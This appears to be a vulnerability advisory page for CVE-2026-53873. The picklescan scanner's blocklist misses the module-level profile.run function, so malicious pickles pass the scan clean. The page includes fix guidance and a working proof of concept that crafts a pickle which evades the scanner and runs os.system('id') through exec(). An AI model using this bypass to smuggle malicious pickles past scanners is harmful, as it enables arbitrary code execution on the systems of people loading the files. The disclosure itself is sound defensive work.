CVE-2026-53873: Picklescan PickleScan's Profile.run Blocklist Mismatch Allows Vulnerability

CRITICAL
Advisory Identifier: GHSA-7wx9-6375-f5wh
CVSS 9.8
CWE-184 CWE-697
Published
Advisory Summary

CVE-2026-53873 is a CRITICAL (CVSS 9.8) picklescan's profile.run blocklist mismatch allows vulnerability (CWE-184: Incomplete List of Disallowed Inputs) affecting Picklescan libraries in the PyPI ecosystem. The issue involves picklescan's profile.run blocklist mismatch allows exec() bypass. Remediation is available by upgrading affected packages to version 1.0.4.

CVE-2026-53873 at a Glance

CVE Identifier CVE-2026-53873
GHSA Identifier GHSA-7wx9-6375-f5wh
Severity CRITICAL
CVSS v3.1 Base Score 9.8
CWE Classification CWE-184: Incomplete List of Disallowed Inputs
Affected Product Picklescan
Package Ecosystem PyPI
Published Date
Last Updated

Security Impact

CVSS: 9.8

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required None (PR:N)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality High (C:H)
Integrity High (I:H)
Availability High (A:H)

How to Fix CVE-2026-53873

To remediate this vulnerability, upgrade all affected Picklescan dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

picklescan fixed: 1.0.4
pip install picklescan>=1.0.4
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

pip show picklescan

How to Check if You Are Affected

To determine whether your Python environment is affected by CVE-2026-53873, inspect your installed packages using pip:

pip show picklescan

Analyze the terminal output to locate any version of Picklescan in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 1.0.4), your application is affected.

Note: The pip show picklescan command checks currently installed packages in your active Python environment.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-184: Incomplete List of Disallowed Inputs, where the product implements a protection mechanism that relies on a list of inputs (or properties of inputs) that are not allowed by policy or otherwise require other action to neutralize before additional processing takes place, but the list is incomplete. In Picklescan, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

## Summary picklescan v1.0.3 blocks `profile.Profile.run` and `profile.Profile.runctx` but does NOT block the module-level `profile.run()` function. A malicious pickle calling `profile.run(statement)` achieves arbitrary code execution via `exec()` while picklescan reports 0 issues. This is because the blocklist entry `"Profile.run"` does not match the pickle global name `"run"`. ## Severity **High** — Direct code execution via `exec()` with zero scanner detection. ## Affected Versions - picklescan v1.0.3 (latest — the profile entries were added in recent versions) - Earlier versions also affected (profile not blocked at all) ## Details ### Root Cause In `scanner.py` line 199, the blocklist entry for `profile` is: ```python "profile": {"Profile.run", "Profile.runctx"}, ``` When a pickle file imports `profile.run` (the module-level function), picklescan's opcode parser extracts: - `module = "profile"` - `name = "run"` The blocklist check at line 414 is: ```python elif unsafe_filter is not None and (unsafe_filter == "*" or g.name in unsafe_filter): ``` This checks: is `"run"` in `{"Profile.run", "Profile.runctx"}`? **Answer: NO.** `"run" != "Profile.run"`. The string comparison is exact — there is no prefix/suffix matching. ### What `profile.run()` Does ```python # From Python's Lib/profile.py def run(statement, filename=None, sort=-1): prof = Profile() try: prof.run(statement) # Calls exec(statement) except SystemExit: pass ... ``` `profile.run(statement)` calls `exec(statement)` internally, enabling arbitrary Python code execution. ### Proof of Concept ```python import struct, io, pickle def sbu(s): b = s.encode() return b"\x8c" + struct.pack("<B", len(b)) + b # profile.run("import os; os.system('id')") payload = ( b"\x80\x04\x95" + struct.pack("<Q", 60) + sbu("profile") + sbu("run") + b"\x93" + sbu("import os; os.system('id')") + b"\x85" + b"R" + b"." ) # picklescan: 0 issues (name "run" not in {"Profile.run", "Profile.runctx"}) from picklescan.scanner import scan_pickle_bytes result = scan_pickle_bytes(io.BytesIO(payload), "test.pkl") assert result.issues_count == 0 # CLEAN! # Execute: runs exec("import os; os.system('id')") → RCE pickle.loads(payload) ``` ### Comparison | Pickle Global | Blocklist Entry | Match? | Result | |--------------|-----------------|--------|--------| | `("profile", "run")` | `"Profile.run"` | NO — `"run" != "Profile.run"` | CLEAN (bypass!) | | `("profile", "Profile.run")` | `"Profile.run"` | YES | DETECTED | | `("profile", "runctx")` | `"Profile.runctx"` | NO — `"runctx" != "Profile.runctx"` | CLEAN (bypass!) | The pickle opcode `GLOBAL` / `STACK_GLOBAL` resolves `profile.run` to the MODULE-LEVEL function, not the class method `Profile.run`. These are different Python objects but both execute arbitrary code. ## Impact `profile.run()` provides direct `exec()` execution. An attacker can execute arbitrary Python code while picklescan reports no issues. This is particularly impactful because `exec()` can import any module and call any function, bypassing the blocklist entirely. ## Suggested Fix Change the `profile` blocklist entry from: ```python "profile": {"Profile.run", "Profile.runctx"}, ``` to: ```python "profile": "*", ``` Or explicitly add the module-level functions: ```python "profile": {"Profile.run", "Profile.runctx", "run", "runctx"}, ``` ## Resources - picklescan source: `scanner.py` line 199 (`"profile": {"Profile.run", "Profile.runctx"}`) - picklescan source: `scanner.py` line 414 (exact string match logic) - Python source: `Lib/profile.py` `run()` function — calls `exec()`

CVE-2026-53873 Affected Picklescan Versions

1 component(s)
Fixed Versions:
1.0.4
Product / Package Ecosystem Affected Versions Fixed Version
picklescan
PyPI
< 1.0.4
1.0.4

References

Frequently Asked Questions

What is CVE-2026-53873?
CVE-2026-53873 is a security vulnerability in Picklescan involving PickleScan's profile.run blocklist mismatch allows exec() bypass under CWE-184: Incomplete List of Disallowed Inputs.
Which Picklescan versions are affected?
Affected versions include releases prior to 1.0.4 across affected packages: picklescan.
What version fixes CVE-2026-53873?
Upgrading to 1.0.4 (or the latest patched release for your respective branch) resolves the vulnerability.
Is picklescan affected?
Yes, picklescan is affected in releases prior to 1.0.4. Upgrade your dependency to 1.0.4 or later.
What is the CVSS score of CVE-2026-53873?
CVE-2026-53873 has a CVSS v3.1 base score of 9.8 (CRITICAL) with vector string CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H.
What CWE is associated with CVE-2026-53873?
CVE-2026-53873 is classified under CWE-184: Incomplete List of Disallowed Inputs (The product implements a protection mechanism that relies on a list of inputs (or properties of inputs) that are not allowed by policy or otherwise require other action to neutralize before additional processing takes place, but the list is incomplete.).
How can I check PyPI dependencies for CVE-2026-53873?
Run the dependency tree command: 'pip show picklescan'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-7wx9-6375-f5wh",
  "modified" : "2026-06-18T14:43:20Z",
  "published" : "2026-03-03T20:03:35Z",
  "aliases" : [ "CVE-2026-53873" ],
  "summary" : "PickleScan's profile.run blocklist mismatch allows exec() bypass",
  "details" : "## Summary\n\npicklescan v1.0.3 blocks `profile.Profile.run` and `profile.Profile.runctx` but does NOT block the module-level `profile.run()` function. A malicious pickle calling `profile.run(statement)` achieves arbitrary code execution via `exec()` while picklescan reports 0 issues. This is because the blocklist entry `\"Profile.run\"` does not match the pickle global name `\"run\"`.\n\n## Severity\n\n**High** — Direct code execution via `exec()` with zero scanner detection.\n\n## Affected Versions\n\n- picklescan v1.0.3 (latest — the profile entries were added in recent versions)\n- Earlier versions also affected (profile not blocked at all)\n\n## Details\n\n### Root Cause\n\nIn `scanner.py` line 199, the blocklist entry for `profile` is:\n\n```python\n\"profile\": {\"Profile.run\", \"Profile.runctx\"},\n```\n\nWhen a pickle file imports `profile.run` (the module-level function), picklescan's opcode parser extracts:\n- `module = \"profile\"`\n- `name = \"run\"`\n\nThe blocklist check at line 414 is:\n\n```python\nelif unsafe_filter is not None and (unsafe_filter == \"*\" or g.name in unsafe_filter):\n```\n\nThis checks: is `\"run\"` in `{\"Profile.run\", \"Profile.runctx\"}`?\n\n**Answer: NO.** `\"run\" != \"Profile.run\"`. The string comparison is exact — there is no prefix/suffix matching.\n\n### What `profile.run()` Does\n\n```python\n# From Python's Lib/profile.py\ndef run(statement, filename=None, sort=-1):\n    prof = Profile()\n    try:\n        prof.run(statement)  # Calls exec(statement)\n    except SystemExit:\n        pass\n    ...\n```\n\n`profile.run(statement)` calls `exec(statement)` internally, enabling arbitrary Python code execution.\n\n### Proof of Concept\n\n```python\nimport struct, io, pickle\n\ndef sbu(s):\n    b = s.encode()\n    return b\"\\x8c\" + struct.pack(\"<B\", len(b)) + b\n\n# profile.run(\"import os; os.system('id')\")\npayload = (\n    b\"\\x80\\x04\\x95\" + struct.pack(\"<Q\", 60)\n    + sbu(\"profile\") + sbu(\"run\") + b\"\\x93\"\n    + sbu(\"import os; os.system('id')\")\n    + b\"\\x85\" + b\"R\" + b\".\"\n)\n\n# picklescan: 0 issues (name \"run\" not in {\"Profile.run\", \"Profile.runctx\"})\nfrom picklescan.scanner import scan_pickle_bytes\nresult = scan_pickle_bytes(io.BytesIO(payload), \"test.pkl\")\nassert result.issues_count == 0  # CLEAN!\n\n# Execute: runs exec(\"import os; os.system('id')\") → RCE\npickle.loads(payload)\n```\n\n### Comparison\n\n| Pickle Global | Blocklist Entry | Match? | Result |\n|--------------|-----------------|--------|--------|\n| `(\"profile\", \"run\")` | `\"Profile.run\"` | NO — `\"run\" != \"Profile.run\"` | CLEAN (bypass!) |\n| `(\"profile\", \"Profile.run\")` | `\"Profile.run\"` | YES | DETECTED |\n| `(\"profile\", \"runctx\")` | `\"Profile.runctx\"` | NO — `\"runctx\" != \"Profile.runctx\"` | CLEAN (bypass!) |\n\nThe pickle opcode `GLOBAL` / `STACK_GLOBAL` resolves `profile.run` to the MODULE-LEVEL function, not the class method `Profile.run`. These are different Python objects but both execute arbitrary code.\n\n## Impact\n\n`profile.run()` provides direct `exec()` execution. An attacker can execute arbitrary Python code while picklescan reports no issues. This is particularly impactful because `exec()` can import any module and call any function, bypassing the blocklist entirely.\n\n## Suggested Fix\n\nChange the `profile` blocklist entry from:\n```python\n\"profile\": {\"Profile.run\", \"Profile.runctx\"},\n```\nto:\n```python\n\"profile\": \"*\",\n```\n\nOr explicitly add the module-level functions:\n```python\n\"profile\": {\"Profile.run\", \"Profile.runctx\", \"run\", \"runctx\"},\n```\n\n## Resources\n\n- picklescan source: `scanner.py` line 199 (`\"profile\": {\"Profile.run\", \"Profile.runctx\"}`)\n- picklescan source: `scanner.py` line 414 (exact string match logic)\n- Python source: `Lib/profile.py` `run()` function — calls `exec()`",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "PyPI",
      "name" : "picklescan"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "1.0.4"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/mmaitre314/picklescan/security/advisories/GHSA-7wx9-6375-f5wh"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-53873"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/mmaitre314/picklescan"
  }, {
    "type" : "WEB",
    "url" : "https://www.vulncheck.com/advisories/picklescan-arbitrary-code-execution-via-profile-run-blocklist-bypass"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-184", "CWE-697" ],
    "severity" : "CRITICAL",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-03-03T20:03:35Z",
    "nvd_published_at" : null
  }
}